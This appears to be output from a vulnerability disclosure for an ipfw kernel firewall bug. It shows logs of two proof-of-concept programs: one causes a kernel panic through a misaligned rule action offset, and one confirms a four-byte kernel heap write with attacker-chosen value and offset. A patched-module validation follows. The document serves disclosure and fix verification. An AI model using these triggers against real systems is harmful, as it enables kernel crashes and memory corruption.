=== PoC 1: poc_misalign (stock kernel, ipfw.ko stock) ===
[+] installed rule 1000 with act_ofs=2 (cmd_len=5)
[+] packet 1 (state create): sendto=8
[+] packet 2 (check-state jump to ACTION_PTR=&cmd[2])...
(ssh session dies; serial console:)
ipfw2 initialized, default to accept, logging disabled
panic: -- unknown opcode 127
cpuid = 4
Trace beginning at frame 0xfffff8008d26c7a0
ipfw_chk() at ipfw_chk+0x2a1e 0xffffffff8260fb6e
ipfw_chk() at ipfw_chk+0x2a1e 0xffffffff8260fb6e
ipfw_check_in() at ipfw_check_in+0x23 0xffffffff826100f3
pfil_run_hooks() at pfil_run_hooks+0x6f 0xffffffff807424df
ip_input() at ip_input+0x611 0xffffffff807b0fe1
netmsg_service_loop() at netmsg_service_loop+0xe9 0xffffffff807464a9
boot() called on cpu#4
Uptime: 2m34s
(full text in panic.txt)

=== PoC 2: poc_write (stock kernel, fresh boot, stock ipfw.ko) ===
[+] rule 2000 installed (cmd_len=4, act_ofs=1)
[+] baseline cmd[3] = 0x0000012b
[+] IP_FW_ZERO(2000) done -> clear_counters() store fired
[+] after     cmd[3] = 0x00000128
[!!] 4-BYTE KERNEL HEAP WRITE CONFIRMED: cmd[3] 0x0000012b -> 0x00000128 (value=max_log, offset=act_ofs*4+8, both attacker-chosen)
EXIT=0
(repeat run: run.2.log — mutation persists in the kernel rule object)

=== Fix validation (patched ipfw.ko via /usr/src git apply fix.diff) ===
./poc_write    -> IP_FW_ADD: Invalid argument   (dmesg: ipfw: act_ofs 1 not on instruction boundary)
./poc_misalign -> IP_FW_ADD: Invalid argument   (dmesg: ipfw: act_ofs 2 not on instruction boundary)
./poc_regression:
[+] rule 1000 (act_ofs=4, action boundary): installed
[+] rule 2000 (log rule, act_ofs=0): installed
[+] IP_FW_GET ok (340 bytes) -- kernel alive, no panic, no wedge
PASS: valid rules accepted, traffic flows